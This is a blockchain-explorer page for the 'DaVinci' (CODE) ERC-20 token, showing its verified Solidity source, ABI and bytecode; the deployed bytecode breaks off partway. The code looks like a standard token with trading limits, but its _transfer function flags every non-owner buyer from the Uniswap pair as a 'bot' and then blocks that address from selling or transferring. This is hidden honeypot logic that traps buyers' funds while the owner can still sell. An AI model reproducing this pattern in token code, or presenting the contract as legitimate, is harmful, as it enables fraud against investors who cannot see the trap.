ETH Price: $3,632.99 (+0.88%)
 

Overview

Max Total Supply

100,000,000 CODE

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,603,593.152459433930338277 CODE

Value
$0.00
0x46609f85d7d6be9c014868ece56682ed21b6ea75
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DaVinciCode

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 100000 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-06
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.13;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
            address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
            ) external payable returns (
                uint256 amountToken, uint256 amountETH, uint256 liquidity
                );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline
            ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

contract Ownable is Context {
    address private _owner;
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner.");
        _;
    }
    function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
    function transferOwnership(address newOwner) external virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address.");
        _owner = newOwner;
    }
}

contract DaVinciCode is IERC20, Ownable {
    IRouter public uniswapV2Router;
    address public uniswapV2Pair;
    string private constant _name =  "DaVinci";
    string private constant _symbol = "CODE";
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply = 100000000 * 10**18; // 100 million
    mapping (address => bool) public automatedMarketMakerPairs;
    bool private isLiquidityAdded = false;
    uint256 public maxWalletAmount = _totalSupply;
    uint256 public maxTxAmount = _totalSupply;
    mapping (address => bool) private _isExcludedFromMaxWalletLimit;
    mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isBot;
    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    constructor() {
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[deadWallet] = true;
        _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxWalletLimit[address(this)] = true;
        _isExcludedFromMaxWalletLimit[owner()] = true;
        _isExcludedFromMaxWalletLimit[deadWallet] = true;
        _isExcludedFromMaxTransactionLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxTransactionLimit[address(this)] = true;
        _isExcludedFromMaxTransactionLimit[owner()] = true;
        _isExcludedFromMaxTransactionLimit[deadWallet] = true;
        balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    receive() external payable {} // so the contract can receive eth

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance.");
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allownace below zero.");
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function _approve(address owner, address spender,uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        require(automatedMarketMakerPairs[pair] != value, "automated market maker pair is already set to that value.");
        automatedMarketMakerPairs[pair] = value;
    }

    function activateTrading() external onlyOwner {
        require(!isLiquidityAdded, "you can only add liquidity once.");
        isLiquidityAdded = true;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, _msgSender(), block.timestamp);
        address _uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH() );
        uniswapV2Pair = _uniswapV2Pair;
        maxWalletAmount = _totalSupply * 2 / 100; //  2%
        maxTxAmount = _totalSupply * 2 / 100;     //  2%
        _isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
        _isExcludedFromMaxTransactionLimit[_uniswapV2Pair] = true;
        _setAutomatedMarketMakerPair(_uniswapV2Pair, true);
    }

    function withdrawStuckETH() external onlyOwner {
        require(address(this).balance > 0, "cannot send more than contract balance.");
        uint256 amount = address(this).balance;
        (bool success,) = address(owner()).call{value : amount}("");
        require(success, "error withdrawing ETH from contract.");
    }

    function name() external pure returns (string memory) { return _name; }
    function symbol() external pure returns (string memory) { return _symbol; }
    function decimals() external view virtual returns (uint8) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
    function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "cannot transfer from the zero address.");
        require(to != address(0), "cannot transfer to the zero address.");
        require(amount > 0, "transfer amount must be greater than zero.");
        require(amount <= balanceOf(from), "cannot transfer more than balance.");
        if ((from == uniswapV2Pair && !_isExcludedFromMaxTransactionLimit[to]) ||
                (to == uniswapV2Pair && !_isExcludedFromMaxTransactionLimit[from])) {
            require(amount <= maxTxAmount, "transfer amount exceeds the maxTxAmount.");
        }
        if (!_isExcludedFromMaxWalletLimit[to]) {
            require((balanceOf(to) + amount) <= maxWalletAmount, "expected wallet amount exceeds the maxWalletAmount.");
        }
        if (to != owner() && from != owner()) {
             if (from == uniswapV2Pair) { _isBot[to] = true; } // buy
             if (to == uniswapV2Pair) { require(!_isBot[from]); } // sell
             if (from != uniswapV2Pair && to != uniswapV2Pair) { require(!_isBot[from] && !_isBot[to]); } // transfer
        }
        balances[from] -= amount;
        balances[to] += amount;
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526a52b7d2dcc80cd2e400000060058190556007805460ff19169055600881905560095534801561003357600080fd5b50600080546001600160a01b031990811633908117835560018054737a250d5630b4cf539739df2c5dacb4c659f2488d931683178155908352600c60209081526040808520805460ff1990811685179091553080875282872080548316861790557f45117a726ea4f344045dc210793664a28d2d320b7e03f6bffdae553d24c3586c805483168617905584546001600160a01b039081168852600a85528388208054841687179055818852838820805484168717905587548116885283882080548416871790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054841687179055855481168852600b855283882080548416871790558188528388208054841687179055875416875282872080548316861790557f44433eeeda1d04bdae79f62169cdb2ab0a6af287fa15706d3fafdbac5fac3415805490921690941790556005548386526003835281862081905581519081529051939492937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350611e35806101d76000396000f3fe6080604052600436106101795760003560e01c806385141a77116100cb578063a9059cbb1161007f578063dd62ed3e11610059578063dd62ed3e14610499578063f2fde38b146104ec578063f5648a4f1461050c57600080fd5b8063a9059cbb14610433578063aa4bde2814610453578063b62496f51461046957600080fd5b80638da5cb5b116100b05780638da5cb5b146103a257806395d89b41146103cd578063a457c2d71461041357600080fd5b806385141a77146103765780638c0b5e221461038c57600080fd5b806323b872dd1161012d57806349bd5a5e1161010757806349bd5a5e146102f157806370a082311461031e578063715018a61461036157600080fd5b806323b872dd14610295578063313ce567146102b557806339509351146102d157600080fd5b80630bd05b691161015e5780630bd05b691461020d5780631694505e1461022457806318160ddd1461027657600080fd5b806306fdde0314610185578063095ea7b3146101dd57600080fd5b3661018057005b600080fd5b34801561019157600080fd5b5060408051808201909152600781527f446156696e63690000000000000000000000000000000000000000000000000060208201525b6040516101d49190611b7f565b60405180910390f35b3480156101e957600080fd5b506101fd6101f8366004611c14565b610521565b60405190151581526020016101d4565b34801561021957600080fd5b50610222610537565b005b34801561023057600080fd5b506001546102519073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101d4565b34801561028257600080fd5b506005545b6040519081526020016101d4565b3480156102a157600080fd5b506101fd6102b0366004611c40565b610a6f565b3480156102c157600080fd5b50604051601281526020016101d4565b3480156102dd57600080fd5b506101fd6102ec366004611c14565b610b8e565b3480156102fd57600080fd5b506002546102519073ffffffffffffffffffffffffffffffffffffffff1681565b34801561032a57600080fd5b50610287610339366004611c81565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561036d57600080fd5b50610222610bd2565b34801561038257600080fd5b5061025161dead81565b34801561039857600080fd5b5061028760095481565b3480156103ae57600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610251565b3480156103d957600080fd5b5060408051808201909152600481527f434f44450000000000000000000000000000000000000000000000000000000060208201526101c7565b34801561041f57600080fd5b506101fd61042e366004611c14565b610ca3565b34801561043f57600080fd5b506101fd61044e366004611c14565b610da6565b34801561045f57600080fd5b5061028760085481565b34801561047557600080fd5b506101fd610484366004611c81565b60066020526000908152604090205460ff1681565b3480156104a557600080fd5b506102876104b4366004611ca5565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b3480156104f857600080fd5b50610222610507366004611c81565b610db3565b34801561051857600080fd5b50610222610f44565b600061052e33848461118d565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146105e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60075460ff1615610650576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f796f752063616e206f6e6c7920616464206c6971756964697479206f6e63652e60448201526064016105da565b600780547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117909155546005546106a691309173ffffffffffffffffffffffffffffffffffffffff9091169061118d565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d71947306106f28173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6000803360405160e088901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610783573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107a89190611cde565b5050506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083e9190611d0c565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108eb9190611d0c565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa15801561095b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097f9190611d0c565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83161781556005549192506064916109d191611d58565b6109db9190611d95565b6008556005546064906109ef906002611d58565b6109f99190611d95565b60095573ffffffffffffffffffffffffffffffffffffffff81166000908152600a60209081526040808320805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff009182168117909255600b9093529220805490911682179055610a6c90829061130b565b50565b6000610a7c84848461141e565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460209081526040808320338452909152902054821115610b3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e63652e000000000000000000000000000000000000000000000060648201526084016105da565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260046020908152604080832033808552925290912054610b84918691610b7f908690611dd0565b61118d565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909161052e918590610b7f908690611de7565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105da565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b33600090815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152812054821115610d63576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f45524332303a2064656372656173656420616c6c6f776e6163652062656c6f7760448201527f207a65726f2e000000000000000000000000000000000000000000000000000060648201526084016105da565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8816845290915290205461052e91908590610b7f908690611dd0565b600061052e33848461141e565b60005473ffffffffffffffffffffffffffffffffffffffff163314610e5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105da565b73ffffffffffffffffffffffffffffffffffffffff8116610efd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e0000000000000000000000000000000000000000000000000060648201526084016105da565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610feb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105da565b6000471161107b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f63616e6e6f742073656e64206d6f7265207468616e20636f6e7472616374206260448201527f616c616e63652e0000000000000000000000000000000000000000000000000060648201526084016105da565b47600061109d60005473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d80600081146110f4576040519150601f19603f3d011682016040523d82523d6000602084013e6110f9565b606091505b5050905080611189576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f6572726f72207769746864726177696e67204554482066726f6d20636f6e747260448201527f6163742e0000000000000000000000000000000000000000000000000000000060648201526084016105da565b5050565b73ffffffffffffffffffffffffffffffffffffffff831661122f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016105da565b73ffffffffffffffffffffffffffffffffffffffff82166112d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016105da565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b73ffffffffffffffffffffffffffffffffffffffff821660009081526006602052604090205481151560ff9091161515036113c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603960248201527f6175746f6d61746564206d61726b6574206d616b65722070616972206973206160448201527f6c72656164792073657420746f20746861742076616c75652e0000000000000060648201526084016105da565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260066020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b73ffffffffffffffffffffffffffffffffffffffff83166114c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f63616e6e6f74207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573732e000000000000000000000000000000000000000000000000000060648201526084016105da565b73ffffffffffffffffffffffffffffffffffffffff8216611563576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f63616e6e6f74207472616e7366657220746f20746865207a65726f206164647260448201527f6573732e0000000000000000000000000000000000000000000000000000000060648201526084016105da565b600081116115f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f7472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f2e0000000000000000000000000000000000000000000060648201526084016105da565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020548111156116a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f63616e6e6f74207472616e73666572206d6f7265207468616e2062616c616e6360448201527f652e00000000000000000000000000000000000000000000000000000000000060648201526084016105da565b60025473ffffffffffffffffffffffffffffffffffffffff84811691161480156116f8575073ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604090205460ff16155b8061174e575060025473ffffffffffffffffffffffffffffffffffffffff838116911614801561174e575073ffffffffffffffffffffffffffffffffffffffff83166000908152600b602052604090205460ff16155b156117e5576009548111156117e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602860248201527f7472616e7366657220616d6f756e74206578636565647320746865206d61785460448201527f78416d6f756e742e00000000000000000000000000000000000000000000000060648201526084016105da565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff166118da57600854816118428473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b61184c9190611de7565b11156118da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603360248201527f65787065637465642077616c6c657420616d6f756e742065786365656473207460448201527f6865206d617857616c6c6574416d6f756e742e0000000000000000000000000060648201526084016105da565b60005473ffffffffffffffffffffffffffffffffffffffff838116911614801590611920575060005473ffffffffffffffffffffffffffffffffffffffff848116911614155b15611a9d5760025473ffffffffffffffffffffffffffffffffffffffff908116908416036119975773ffffffffffffffffffffffffffffffffffffffff82166000908152600d6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790555b60025473ffffffffffffffffffffffffffffffffffffffff908116908316036119ed5773ffffffffffffffffffffffffffffffffffffffff83166000908152600d602052604090205460ff16156119ed57600080fd5b60025473ffffffffffffffffffffffffffffffffffffffff848116911614801590611a33575060025473ffffffffffffffffffffffffffffffffffffffff838116911614155b15611a9d5773ffffffffffffffffffffffffffffffffffffffff83166000908152600d602052604090205460ff16158015611a94575073ffffffffffffffffffffffffffffffffffffffff82166000908152600d602052604090205460ff16155b611a9d57600080fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526003602052604081208054839290611ad2908490611dd0565b909155505073ffffffffffffffffffffffffffffffffffffffff821660009081526003602052604081208054839290611b0c908490611de7565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b7291815260200190565b60405180910390a3505050565b600060208083528351808285015260005b81811015611bac57858101830151858201604001528201611b90565b81811115611bbe576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b73ffffffffffffffffffffffffffffffffffffffff81168114610a6c57600080fd5b60008060408385031215611c2757600080fd5b8235611c3281611bf2565b946020939093013593505050565b600080600060608486031215611c5557600080fd5b8335611c6081611bf2565b92506020840135611c7081611bf2565b929592945050506040919091013590565b600060208284031215611c9357600080fd5b8135611c9e81611bf2565b9392505050565b60008060408385031215611cb857600080fd5b8235611cc381611bf2565b91506020830135611cd381611bf2565b809150509250929050565b600080600060608486031215611cf357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d1e57600080fd5b8151611c9e81611bf2565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d9057611d90611d29565b500290565b600082611dcb577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b600082821015611de257611de2611d29565b500390565b60008219821115611dfa57611dfa611d29565b50019056fea26469706673582212205832158020955c349d9769ae4dfff0cf45b217ee42ea92509758e0b9d428241a64736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106101795760003560e01c806385141a77116100cb578063a9059cbb1161007f578063dd62ed3e11610059578063dd62ed3e14610499578063f2fde38b146104ec578063f5648a4f1461050c57600080fd5b8063a9059cbb14610433578063aa4bde2814610453578063b62496f51461046957600080fd5b80638da5cb5b116100b05780638da5cb5b146103a257806395d89b41146103cd578063a457c2d71461041357600080fd5b806385141a77146103765780638c0b5e221461038c57600080fd5b806323b872dd1161012d57806349bd5a5e1161010757806349bd5a5e146102f157806370a082311461031e578063715018a61461036157600080fd5b806323b872dd14610295578063313ce567146102b557806339509351146102d157600080fd5b80630bd05b691161015e5780630bd05b691461020d5780631694505e1461022457806318160ddd1461027657600080fd5b806306fdde0314610185578063095ea7b3146101dd57600080fd5b3661018057005b600080fd5b34801561019157600080fd5b5060408051808201909152600781527f446156696e63690000000000000000000000000000000000000000000000000060208201525b6040516101d49190611b7f565b60405180910390f35b3480156101e957600080fd5b506101fd6101f8366004611c14565b610521565b60405190151581526020016101d4565b34801561021957600080fd5b50610222610537565b005b34801561023057600080fd5b506001546102519073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101d4565b34801561028257600080fd5b506005545b6040519081526020016101d4565b3480156102a157600080fd5b506101fd6102b0366004611c40565b610a6f565b3480156102c157600080fd5b50604051601281526020016101d4565b3480156102dd57600080fd5b506101fd6102ec366004611c14565b610b8e565b3480156102fd57600080fd5b506002546102519073ffffffffffffffffffffffffffffffffffffffff1681565b34801561032a57600080fd5b50610287610339366004611c81565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561036d57600080fd5b50610222610bd2565b34801561038257600080fd5b5061025161dead81565b34801561039857600080fd5b5061028760095481565b3480156103ae57600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610251565b3480156103d957600080fd5b5060408051808201909152600481527f434f44450000000000000000000000000000000000000000000000000000000060208201526101c7565b34801561041f57600080fd5b506101fd61042e366004611c14565b610ca3565b34801561043f57600080fd5b506101fd61044e366004611c14565b610da6565b34801561045f57600080fd5b5061028760085481565b34801561047557600080fd5b506101fd610484366004611c81565b60066020526000908152604090205460ff1681565b3480156104a557600080fd5b506102876104b4366004611ca5565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b3480156104f857600080fd5b50610222610507366004611c81565b610db3565b34801561051857600080fd5b50610222610f44565b600061052e33848461118d565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146105e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60075460ff1615610650576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f796f752063616e206f6e6c7920616464206c6971756964697479206f6e63652e60448201526064016105da565b600780547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117909155546005546106a691309173ffffffffffffffffffffffffffffffffffffffff9091169061118d565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d71947306106f28173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6000803360405160e088901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610783573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107a89190611cde565b5050506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083e9190611d0c565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206